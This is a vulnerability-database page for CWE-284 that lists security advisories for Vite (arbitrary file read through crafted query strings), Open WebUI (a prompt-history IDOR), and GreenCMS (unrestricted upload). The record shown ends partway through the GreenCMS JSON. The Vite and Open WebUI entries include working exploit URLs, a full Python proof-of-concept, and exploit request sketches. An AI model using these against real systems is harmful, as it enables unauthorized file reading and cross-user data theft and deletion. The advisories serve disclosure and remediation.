Common Weakness Enumeration

CWE-284

Discouraged

Improper Access Control

Abstraction: Pillar · Status: Incomplete

API response cwe.mitre.org

The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

7803 vulnerabilities reference this CWE, most recent first.

GHSA-4R4M-QW57-CHR8

Vulnerability from github – Published: 2025-03-31 17:31 – Updated: 2026-01-22 21:47
VLAI
Summary
Vite has a `server.fs.deny` bypassed for `inline` and `raw` with `?import` query
Details

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

  • base64 encoded content of non-allowed files is exposed using ?inline&import (originally reported as ?import&?inline=1.wasm?init)
  • content of non-allowed files is exposed using ?raw?import

/@fs/ isn't needed to reproduce the issue for files inside the project root.

PoC

Original report (check details above for simplified cases):

The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

Example full URL http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "vite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.2.0"
            },
            {
              "fixed": "6.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "vite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.1.0"
            },
            {
              "fixed": "6.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "vite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.0.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "vite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.4.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "vite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-31125"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-31T17:31:54Z",
    "nvd_published_at": "2025-03-31T17:15:43Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe contents of arbitrary files can be returned to the browser.\n\n### Impact\nOnly apps explicitly exposing the Vite dev server to the network (using `--host` or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host)) are affected.\n\n### Details\n\n- base64 encoded content of non-allowed files is exposed using `?inline\u0026import` (originally reported as `?import\u0026?inline=1.wasm?init`)\n- content of non-allowed files is exposed using `?raw?import`\n\n`/@fs/` isn\u0027t needed to reproduce the issue for files inside the project root.\n\n### PoC\n\nOriginal report (check details above for simplified cases):\n\nThe ?import\u0026?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists.  Base64 decoding needs to be performed twice\n```\n$ npm create vite@latest\n$ cd vite-project/\n$ npm install\n$ npm run dev\n```\n\nExample full URL `http://localhost:5173/@fs/C:/windows/win.ini?import\u0026?inline=1.wasm?init`",
  "id": "GHSA-4r4m-qw57-chr8",
  "modified": "2026-01-22T21:47:40Z",
  "published": "2025-03-31T17:31:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vitejs/vite/security/advisories/GHSA-4r4m-qw57-chr8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31125"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitejs/vite/commit/59673137c45ac2bcfad1170d954347c1a17ab949"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vitejs/vite"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-31125"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vite has a `server.fs.deny` bypassed for `inline` and `raw` with `?import` query"
}

GHSA-4R4W-2WGP-W7CJ

Vulnerability from github – Published: 2026-06-17 14:16 – Updated: 2026-06-17 14:16
VLAI
Summary
Open WebUI Prompt history IDOR: unbound history_id allows cross-prompt read and deletion
Details

Summary

Open WebUI's prompt version-history endpoints authorize the prompt_id in the URL but then act on caller-supplied history IDs without verifying that the history row belongs to that prompt (history_entry.prompt_id == prompt.id). Three operations are affected:

  • GET /api/v1/prompts/id/{prompt_id}/history/diff — returns another prompt's history snapshots (read).
  • POST /api/v1/prompts/id/{prompt_id}/update/version — restores another prompt's snapshot into the caller's prompt, exposing its content (read).
  • DELETE /api/v1/prompts/id/{prompt_id}/history/{history_id} — deletes another prompt's history entry (delete).

An authenticated user with access to any prompt they control, plus a victim prompt_history.id, can read or delete another user's private prompt history. The single-entry read endpoint (GET .../history/{history_id}) already enforces the binding; these three did not.

Impact

Security boundary crossed: prompt confidentiality and integrity.

Prompt history snapshots can contain private prompt text, internal instructions, and sensitive variables. With a known victim prompt_history.id, an attacker can read another user's snapshot (via the diff endpoint or by restoring it into their own prompt) and delete another user's history entry. The active prompt row is not destroyed; the delete impact is against version history. Exploitation requires knowing or obtaining victim history UUIDs, so severity depends on adjacent ID exposure.

Root Cause

The route checks read access only for prompt_id:

# backend/open_webui/routers/prompts.py
prompt = await Prompts.get_prompt_by_id(prompt_id, db=db)
...
if not (
    user.role == 'admin'
    or prompt.user_id == user.id
    or await AccessGrants.has_access(
        user_id=user.id,
        resource_type='prompt',
        resource_id=prompt.id,
        permission='read',
        db=db,
    )
):
    raise HTTPException(...)

But the authorized prompt ID is not passed into the diff sink:

# backend/open_webui/routers/prompts.py
diff = await PromptHistories.compute_diff(from_id, to_id, db=db)

compute_diff() fetches both history entries globally by ID and returns their full snapshots:

# backend/open_webui/models/prompt_history.py
result_from = await db.execute(select(PromptHistory).filter(PromptHistory.id == from_id))
from_entry = result_from.scalars().first()
result_to = await db.execute(select(PromptHistory).filter(PromptHistory.id == to_id))
to_entry = result_to.scalars().first()
...
return {
    'from_snapshot': from_snapshot,
    'to_snapshot': to_snapshot,
    ...
}

There is no check that from_entry.prompt_id == prompt_id or to_entry.prompt_id == prompt_id.

The same missing binding affects two further endpoints. POST .../update/version restores a snapshot fetched globally by version_id:

# backend/open_webui/models/prompts.py — update_prompt_version
history_entry = await PromptHistories.get_history_entry_by_id(version_id, db=session)
...
prompt.content = snapshot.get('content', prompt.content)   # foreign snapshot copied into caller's prompt
prompt.version_id = version_id

DELETE .../history/{history_id} deletes an entry fetched globally by history_id:

# backend/open_webui/models/prompt_history.py — delete_history_entry
result = await db.execute(select(PromptHistory).filter_by(id=history_id))
entry = result.scalars().first()
...
await db.delete(entry)

Neither checks entry.prompt_id == prompt.id. The single-entry read endpoint (GET .../history/{history_id}) does (history_entry.prompt_id != prompt.id → 404); these three endpoints were missing it.

PoC

#!/usr/bin/env python3
"""
PoC for prompt history diff IDOR.

The PoC executes:
  - the real routers.prompts.get_prompt_diff() route function
  - the real PromptHistories.compute_diff() implementation

Fake model/DB adapters are used only to avoid requiring a running server. The
security-sensitive behavior under test is that the route authorizes the prompt
ID in the URL, then computes a diff for arbitrary history IDs without checking
that those history rows belong to the authorized prompt.
"""

from __future__ import annotations

import asyncio
import json
import os
import sys
import types
from pathlib import Path
from types import SimpleNamespace


def prepare_imports() -> None:
    repo_root = Path(__file__).resolve().parents[1]
    sys.path.insert(0, str(repo_root / "backend"))
    os.environ["VECTOR_DB"] = "none"

    class DummyTyper:
        def command(self, *args, **kwargs):
            return lambda fn: fn

    sys.modules.setdefault(
        "typer",
        types.SimpleNamespace(
            Typer=lambda *args, **kwargs: DummyTyper(),
            Option=lambda *args, **kwargs: None,
            echo=lambda *args, **kwargs: None,
            Exit=Exception,
        ),
    )
    sys.modules.setdefault("uvicorn", types.SimpleNamespace(run=lambda *args, **kwargs: None))


class FakeScalarResult:
    def __init__(self, row):
        self.row = row

    def first(self):
        return self.row


class FakeExecuteResult:
    def __init__(self, row):
        self.row = row

    def scalars(self):
        return FakeScalarResult(self.row)


class FakePromptHistoryDb:
    def __init__(self, rows):
        self.rows = rows
        self.calls = 0

    async def execute(self, stmt):
        row = self.rows[self.calls]
        self.calls += 1
        return FakeExecuteResult(row)


class FakeDbContext:
    def __init__(self, db):
        self.db = db

    async def __aenter__(self):
        return self.db

    async def __aexit__(self, exc_type, exc, tb):
        return False


async def run_real_compute_diff(from_id: str, to_id: str):
    import open_webui.models.prompt_history as history_module

    victim_from = SimpleNamespace(
        id=from_id,
        prompt_id="victim-prompt",
        snapshot={
            "name": "Victim Prompt",
            "command": "/victim",
            "content": "PRIVATE_PROMPT_SECRET_V1",
        },
    )
    victim_to = SimpleNamespace(
        id=to_id,
        prompt_id="victim-prompt",
        snapshot={
            "name": "Victim Prompt",
            "command": "/victim",
            "content": "PRIVATE_PROMPT_SECRET_V2",
        },
    )

    fake_db = FakePromptHistoryDb([victim_from, victim_to])
    original_context = history_module.get_async_db_context
    try:
        history_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db)
        diff = await history_module.PromptHistories.compute_diff(from_id, to_id)
    finally:
        history_module.get_async_db_context = original_context

    return diff


async def main() -> None:
    prepare_imports()

    import open_webui.routers.prompts as prompts_router

    attacker_prompt = SimpleNamespace(
        id="attacker-prompt",
        user_id="attacker",
    )
    attacker = SimpleNamespace(id="attacker", role="user")
    victim_from_id = "victim-history-from"
    victim_to_id = "victim-history-to"

    class FakePrompts:
        looked_up_prompt_ids = []

        async def get_prompt_by_id(self, prompt_id, db=None):
            self.looked_up_prompt_ids.append(prompt_id)
            if prompt_id == "attacker-prompt":
                return attacker_prompt
            return None

    class FakeAccessGrants:
        async def has_access(self, *args, **kwargs):
            return False

    class FakePromptHistories:
        compute_diff_calls = []

        async def compute_diff(self, from_id, to_id, db=None):
            self.compute_diff_calls.append(
                {
                    "from_id": from_id,
                    "to_id": to_id,
                    "authorized_prompt_id_not_passed": True,
                }
            )
            return await run_real_compute_diff(from_id, to_id)

    fake_prompts = FakePrompts()
    fake_histories = FakePromptHistories()

    original = {
        "Prompts": prompts_router.Prompts,
        "AccessGrants": prompts_router.AccessGrants,
        "PromptHistories": prompts_router.PromptHistories,
    }
    try:
        prompts_router.Prompts = fake_prompts
        prompts_router.AccessGrants = FakeAccessGrants()
        prompts_router.PromptHistories = fake_histories

        diff = await prompts_router.get_prompt_diff(
            prompt_id="attacker-prompt",
            from_id=victim_from_id,
            to_id=victim_to_id,
            user=attacker,
            db=None,
        )
    finally:
        for name, value in original.items():
            setattr(prompts_router, name, value)

    result = {
        "confirmed": (
            diff.get("from_snapshot", {}).get("content") == "PRIVATE_PROMPT_SECRET_V1"
            and diff.get("to_snapshot", {}).get("content") == "PRIVATE_PROMPT_SECRET_V2"
            and fake_prompts.looked_up_prompt_ids == ["attacker-prompt"]
            and fake_histories.compute_diff_calls
            and fake_histories.compute_diff_calls[0]["authorized_prompt_id_not_passed"] is True
        ),
        "attacker_user_id": "attacker",
        "authorized_prompt_id": "attacker-prompt",
        "victim_prompt_id": "victim-prompt",
        "victim_history_ids": [victim_from_id, victim_to_id],
        "prompt_ids_authorized_by_route": fake_prompts.looked_up_prompt_ids,
        "compute_diff_calls": fake_histories.compute_diff_calls,
        "leaked_from_snapshot": diff.get("from_snapshot"),
        "leaked_to_snapshot": diff.get("to_snapshot"),
        "source": {
            "route": "backend/open_webui/routers/prompts.py:get_prompt_diff",
            "sink": "backend/open_webui/models/prompt_history.py:PromptHistories.compute_diff",
        },
    }
    print(json.dumps(result, indent=2, sort_keys=True))
    if not result["confirmed"]:
        raise SystemExit(1)


if __name__ == "__main__":
    asyncio.run(main())

The PoC executes the real route function and the real PromptHistories.compute_diff() implementation with fake model/DB adapters. It authorizes the attacker against attacker-prompt, then supplies two victim history IDs. The route returns the victim prompt snapshots.

Result:

{
  "attacker_user_id": "attacker",
  "authorized_prompt_id": "attacker-prompt",
  "confirmed": true,
  "leaked_from_snapshot": {
    "command": "/victim",
    "content": "PRIVATE_PROMPT_SECRET_V1",
    "name": "Victim Prompt"
  },
  "leaked_to_snapshot": {
    "command": "/victim",
    "content": "PRIVATE_PROMPT_SECRET_V2",
    "name": "Victim Prompt"
  },
  "prompt_ids_authorized_by_route": [
    "attacker-prompt"
  ],
  "victim_history_ids": [
    "victim-history-from",
    "victim-history-to"
  ],
  "victim_prompt_id": "victim-prompt"
}

Exploit Sketch

Read via the diff endpoint:

  1. Attacker has read access to ATTACKER_PROMPT_ID.
  2. Attacker knows two history IDs for a victim prompt: VICTIM_FROM_HISTORY_ID and VICTIM_TO_HISTORY_ID.
  3. Attacker requests:
GET /api/v1/prompts/id/ATTACKER_PROMPT_ID/history/diff?from_id=VICTIM_FROM_HISTORY_ID&to_id=VICTIM_TO_HISTORY_ID
  1. The server authorizes ATTACKER_PROMPT_ID, then returns snapshots for the victim history IDs.

Read via restore (update/version): the attacker POSTs {"version_id": "VICTIM_HISTORY_ID"} to their own prompt's update/version, then GETs their prompt; it now holds the victim snapshot's name/content/data/meta/tags.

Delete: the attacker sends DELETE /api/v1/prompts/id/ATTACKER_PROMPT_ID/history/VICTIM_HISTORY_ID; the victim history entry is removed.

Recommended Fix

Bind every prompt-history operation to the authorized prompt before acting on a history ID, mirroring the single-entry read endpoint:

  • compute_diff() should accept prompt_id and query both entries with PromptHistory.prompt_id == prompt_id alongside the id filter.
  • delete_history_entry() should accept prompt_id and filter filter_by(id=history_id, prompt_id=prompt_id).
  • update_prompt_version() should reject history_entry.prompt_id != prompt_id before restoring.

Return 404/403 on mismatch.

Consolidation

Per our Report Handling policy this consolidates independent reports of the same prompt-history authorization flaw (one missing history_entry.prompt_id == prompt.id binding) reached through different endpoints:

  • Diff-endpoint read and history deletion: @0xEr3n (earliest filings).
  • update/version restore-read: distinct path demonstrated by @5yu4n.

One CVE for the consolidated advisory.

Severity
6.4 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54015"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-17T14:16:50Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nOpen WebUI\u0027s prompt version-history endpoints authorize the `prompt_id` in the URL but then act on caller-supplied history IDs without verifying that the history row belongs to that prompt (`history_entry.prompt_id == prompt.id`). Three operations are affected:\n\n- `GET /api/v1/prompts/id/{prompt_id}/history/diff` \u2014 returns another prompt\u0027s history snapshots (read).\n- `POST /api/v1/prompts/id/{prompt_id}/update/version` \u2014 restores another prompt\u0027s snapshot into the caller\u0027s prompt, exposing its content (read).\n- `DELETE /api/v1/prompts/id/{prompt_id}/history/{history_id}` \u2014 deletes another prompt\u0027s history entry (delete).\n\nAn authenticated user with access to any prompt they control, plus a victim `prompt_history.id`, can read or delete another user\u0027s private prompt history. The single-entry read endpoint (`GET .../history/{history_id}`) already enforces the binding; these three did not.\n\n## Impact\n\nSecurity boundary crossed: prompt confidentiality and integrity.\n\nPrompt history snapshots can contain private prompt text, internal instructions, and sensitive variables. With a known victim `prompt_history.id`, an attacker can read another user\u0027s snapshot (via the diff endpoint or by restoring it into their own prompt) and delete another user\u0027s history entry. The active prompt row is not destroyed; the delete impact is against version history. Exploitation requires knowing or obtaining victim history UUIDs, so severity depends on adjacent ID exposure.\n\n## Root Cause\n\nThe route checks read access only for `prompt_id`:\n\n```python\n# backend/open_webui/routers/prompts.py\nprompt = await Prompts.get_prompt_by_id(prompt_id, db=db)\n...\nif not (\n    user.role == \u0027admin\u0027\n    or prompt.user_id == user.id\n    or await AccessGrants.has_access(\n        user_id=user.id,\n        resource_type=\u0027prompt\u0027,\n        resource_id=prompt.id,\n        permission=\u0027read\u0027,\n        db=db,\n    )\n):\n    raise HTTPException(...)\n```\n\nBut the authorized prompt ID is not passed into the diff sink:\n\n```python\n# backend/open_webui/routers/prompts.py\ndiff = await PromptHistories.compute_diff(from_id, to_id, db=db)\n```\n\n`compute_diff()` fetches both history entries globally by ID and returns their full snapshots:\n\n```python\n# backend/open_webui/models/prompt_history.py\nresult_from = await db.execute(select(PromptHistory).filter(PromptHistory.id == from_id))\nfrom_entry = result_from.scalars().first()\nresult_to = await db.execute(select(PromptHistory).filter(PromptHistory.id == to_id))\nto_entry = result_to.scalars().first()\n...\nreturn {\n    \u0027from_snapshot\u0027: from_snapshot,\n    \u0027to_snapshot\u0027: to_snapshot,\n    ...\n}\n```\n\nThere is no check that `from_entry.prompt_id == prompt_id` or `to_entry.prompt_id == prompt_id`.\n\nThe same missing binding affects two further endpoints. `POST .../update/version` restores a snapshot fetched globally by `version_id`:\n\n```python\n# backend/open_webui/models/prompts.py \u2014 update_prompt_version\nhistory_entry = await PromptHistories.get_history_entry_by_id(version_id, db=session)\n...\nprompt.content = snapshot.get(\u0027content\u0027, prompt.content)   # foreign snapshot copied into caller\u0027s prompt\nprompt.version_id = version_id\n```\n\n`DELETE .../history/{history_id}` deletes an entry fetched globally by `history_id`:\n\n```python\n# backend/open_webui/models/prompt_history.py \u2014 delete_history_entry\nresult = await db.execute(select(PromptHistory).filter_by(id=history_id))\nentry = result.scalars().first()\n...\nawait db.delete(entry)\n```\n\nNeither checks `entry.prompt_id == prompt.id`. The single-entry read endpoint (`GET .../history/{history_id}`) does (`history_entry.prompt_id != prompt.id \u2192 404`); these three endpoints were missing it.\n\n## PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for prompt history diff IDOR.\n\nThe PoC executes:\n  - the real routers.prompts.get_prompt_diff() route function\n  - the real PromptHistories.compute_diff() implementation\n\nFake model/DB adapters are used only to avoid requiring a running server. The\nsecurity-sensitive behavior under test is that the route authorizes the prompt\nID in the URL, then computes a diff for arbitrary history IDs without checking\nthat those history rows belong to the authorized prompt.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport asyncio\nimport json\nimport os\nimport sys\nimport types\nfrom pathlib import Path\nfrom types import SimpleNamespace\n\n\ndef prepare_imports() -\u003e None:\n    repo_root = Path(__file__).resolve().parents[1]\n    sys.path.insert(0, str(repo_root / \"backend\"))\n    os.environ[\"VECTOR_DB\"] = \"none\"\n\n    class DummyTyper:\n        def command(self, *args, **kwargs):\n            return lambda fn: fn\n\n    sys.modules.setdefault(\n        \"typer\",\n        types.SimpleNamespace(\n            Typer=lambda *args, **kwargs: DummyTyper(),\n            Option=lambda *args, **kwargs: None,\n            echo=lambda *args, **kwargs: None,\n            Exit=Exception,\n        ),\n    )\n    sys.modules.setdefault(\"uvicorn\", types.SimpleNamespace(run=lambda *args, **kwargs: None))\n\n\nclass FakeScalarResult:\n    def __init__(self, row):\n        self.row = row\n\n    def first(self):\n        return self.row\n\n\nclass FakeExecuteResult:\n    def __init__(self, row):\n        self.row = row\n\n    def scalars(self):\n        return FakeScalarResult(self.row)\n\n\nclass FakePromptHistoryDb:\n    def __init__(self, rows):\n        self.rows = rows\n        self.calls = 0\n\n    async def execute(self, stmt):\n        row = self.rows[self.calls]\n        self.calls += 1\n        return FakeExecuteResult(row)\n\n\nclass FakeDbContext:\n    def __init__(self, db):\n        self.db = db\n\n    async def __aenter__(self):\n        return self.db\n\n    async def __aexit__(self, exc_type, exc, tb):\n        return False\n\n\nasync def run_real_compute_diff(from_id: str, to_id: str):\n    import open_webui.models.prompt_history as history_module\n\n    victim_from = SimpleNamespace(\n        id=from_id,\n        prompt_id=\"victim-prompt\",\n        snapshot={\n            \"name\": \"Victim Prompt\",\n            \"command\": \"/victim\",\n            \"content\": \"PRIVATE_PROMPT_SECRET_V1\",\n        },\n    )\n    victim_to = SimpleNamespace(\n        id=to_id,\n        prompt_id=\"victim-prompt\",\n        snapshot={\n            \"name\": \"Victim Prompt\",\n            \"command\": \"/victim\",\n            \"content\": \"PRIVATE_PROMPT_SECRET_V2\",\n        },\n    )\n\n    fake_db = FakePromptHistoryDb([victim_from, victim_to])\n    original_context = history_module.get_async_db_context\n    try:\n        history_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db)\n        diff = await history_module.PromptHistories.compute_diff(from_id, to_id)\n    finally:\n        history_module.get_async_db_context = original_context\n\n    return diff\n\n\nasync def main() -\u003e None:\n    prepare_imports()\n\n    import open_webui.routers.prompts as prompts_router\n\n    attacker_prompt = SimpleNamespace(\n        id=\"attacker-prompt\",\n        user_id=\"attacker\",\n    )\n    attacker = SimpleNamespace(id=\"attacker\", role=\"user\")\n    victim_from_id = \"victim-history-from\"\n    victim_to_id = \"victim-history-to\"\n\n    class FakePrompts:\n        looked_up_prompt_ids = []\n\n        async def get_prompt_by_id(self, prompt_id, db=None):\n            self.looked_up_prompt_ids.append(prompt_id)\n            if prompt_id == \"attacker-prompt\":\n                return attacker_prompt\n            return None\n\n    class FakeAccessGrants:\n        async def has_access(self, *args, **kwargs):\n            return False\n\n    class FakePromptHistories:\n        compute_diff_calls = []\n\n        async def compute_diff(self, from_id, to_id, db=None):\n            self.compute_diff_calls.append(\n                {\n                    \"from_id\": from_id,\n                    \"to_id\": to_id,\n                    \"authorized_prompt_id_not_passed\": True,\n                }\n            )\n            return await run_real_compute_diff(from_id, to_id)\n\n    fake_prompts = FakePrompts()\n    fake_histories = FakePromptHistories()\n\n    original = {\n        \"Prompts\": prompts_router.Prompts,\n        \"AccessGrants\": prompts_router.AccessGrants,\n        \"PromptHistories\": prompts_router.PromptHistories,\n    }\n    try:\n        prompts_router.Prompts = fake_prompts\n        prompts_router.AccessGrants = FakeAccessGrants()\n        prompts_router.PromptHistories = fake_histories\n\n        diff = await prompts_router.get_prompt_diff(\n            prompt_id=\"attacker-prompt\",\n            from_id=victim_from_id,\n            to_id=victim_to_id,\n            user=attacker,\n            db=None,\n        )\n    finally:\n        for name, value in original.items():\n            setattr(prompts_router, name, value)\n\n    result = {\n        \"confirmed\": (\n            diff.get(\"from_snapshot\", {}).get(\"content\") == \"PRIVATE_PROMPT_SECRET_V1\"\n            and diff.get(\"to_snapshot\", {}).get(\"content\") == \"PRIVATE_PROMPT_SECRET_V2\"\n            and fake_prompts.looked_up_prompt_ids == [\"attacker-prompt\"]\n            and fake_histories.compute_diff_calls\n            and fake_histories.compute_diff_calls[0][\"authorized_prompt_id_not_passed\"] is True\n        ),\n        \"attacker_user_id\": \"attacker\",\n        \"authorized_prompt_id\": \"attacker-prompt\",\n        \"victim_prompt_id\": \"victim-prompt\",\n        \"victim_history_ids\": [victim_from_id, victim_to_id],\n        \"prompt_ids_authorized_by_route\": fake_prompts.looked_up_prompt_ids,\n        \"compute_diff_calls\": fake_histories.compute_diff_calls,\n        \"leaked_from_snapshot\": diff.get(\"from_snapshot\"),\n        \"leaked_to_snapshot\": diff.get(\"to_snapshot\"),\n        \"source\": {\n            \"route\": \"backend/open_webui/routers/prompts.py:get_prompt_diff\",\n            \"sink\": \"backend/open_webui/models/prompt_history.py:PromptHistories.compute_diff\",\n        },\n    }\n    print(json.dumps(result, indent=2, sort_keys=True))\n    if not result[\"confirmed\"]:\n        raise SystemExit(1)\n\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n```\n\nThe PoC executes the real route function and the real `PromptHistories.compute_diff()` implementation with fake model/DB adapters. It authorizes the attacker against `attacker-prompt`, then supplies two victim history IDs. The route returns the victim prompt snapshots.\n\nResult:\n\n```json\n{\n  \"attacker_user_id\": \"attacker\",\n  \"authorized_prompt_id\": \"attacker-prompt\",\n  \"confirmed\": true,\n  \"leaked_from_snapshot\": {\n    \"command\": \"/victim\",\n    \"content\": \"PRIVATE_PROMPT_SECRET_V1\",\n    \"name\": \"Victim Prompt\"\n  },\n  \"leaked_to_snapshot\": {\n    \"command\": \"/victim\",\n    \"content\": \"PRIVATE_PROMPT_SECRET_V2\",\n    \"name\": \"Victim Prompt\"\n  },\n  \"prompt_ids_authorized_by_route\": [\n    \"attacker-prompt\"\n  ],\n  \"victim_history_ids\": [\n    \"victim-history-from\",\n    \"victim-history-to\"\n  ],\n  \"victim_prompt_id\": \"victim-prompt\"\n}\n```\n\n## Exploit Sketch\n\nRead via the diff endpoint:\n\n1. Attacker has read access to `ATTACKER_PROMPT_ID`.\n2. Attacker knows two history IDs for a victim prompt: `VICTIM_FROM_HISTORY_ID` and `VICTIM_TO_HISTORY_ID`.\n3. Attacker requests:\n\n```text\nGET /api/v1/prompts/id/ATTACKER_PROMPT_ID/history/diff?from_id=VICTIM_FROM_HISTORY_ID\u0026to_id=VICTIM_TO_HISTORY_ID\n```\n\n4. The server authorizes `ATTACKER_PROMPT_ID`, then returns snapshots for the victim history IDs.\n\nRead via restore (`update/version`): the attacker `POST`s `{\"version_id\": \"VICTIM_HISTORY_ID\"}` to their own prompt\u0027s `update/version`, then `GET`s their prompt; it now holds the victim snapshot\u0027s name/content/data/meta/tags.\n\nDelete: the attacker sends `DELETE /api/v1/prompts/id/ATTACKER_PROMPT_ID/history/VICTIM_HISTORY_ID`; the victim history entry is removed.\n\n## Recommended Fix\n\nBind every prompt-history operation to the authorized prompt before acting on a history ID, mirroring the single-entry read endpoint:\n\n- `compute_diff()` should accept `prompt_id` and query both entries with `PromptHistory.prompt_id == prompt_id` alongside the id filter.\n- `delete_history_entry()` should accept `prompt_id` and filter `filter_by(id=history_id, prompt_id=prompt_id)`.\n- `update_prompt_version()` should reject `history_entry.prompt_id != prompt_id` before restoring.\n\nReturn 404/403 on mismatch.\n\n## Consolidation\n\nPer our Report Handling policy this consolidates independent reports of the same prompt-history authorization flaw (one missing `history_entry.prompt_id == prompt.id` binding) reached through different endpoints:\n\n- Diff-endpoint read and history deletion: @0xEr3n (earliest filings).\n- `update/version` restore-read: distinct path demonstrated by @5yu4n.\n\nOne CVE for the consolidated advisory.",
  "id": "GHSA-4r4w-2wgp-w7cj",
  "modified": "2026-06-17T14:16:50Z",
  "published": "2026-06-17T14:16:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-4r4w-2wgp-w7cj"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI Prompt history IDOR: unbound history_id allows cross-prompt read and deletion"
}

GHSA-4R63-WC8J-3CF6

Vulnerability from github – Published: 2026-04-27 00:30 – Updated: 2026-04-27 00:30
VLAI
Details

A vulnerability has been found in GreenCMS up to 2.3. This impacts the function pluginAddLocal of the file /index.php?m=admin&c=custom&a=pluginadd. The manipulation leads to unrestricted upload. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. This vulnerability only affects products that are no longer supported by the maintainer.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
2.1 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
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{
  "affected": [],
  "aliases": [
    "CVE-2026-7043"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-26T22:17:31Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability has been found in GreenCMS up to 2.3. This impacts the function pluginAddLocal of the file /index.php?m=admin\u0026c=custom\u0026a=pluginadd. The manipulation leads to unrestricted upload. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. This vulnerability only affects products that are no longer supported by the maintainer.",
  "id": "GHSA-4r63-wc8j-3cf6",
  "modified": "2026-04-27T00:30:27Z",
  "published": "2026-04-27T00:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7043"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ueh1013/VULN/issues/7"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/798529"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/359622"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/359622/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
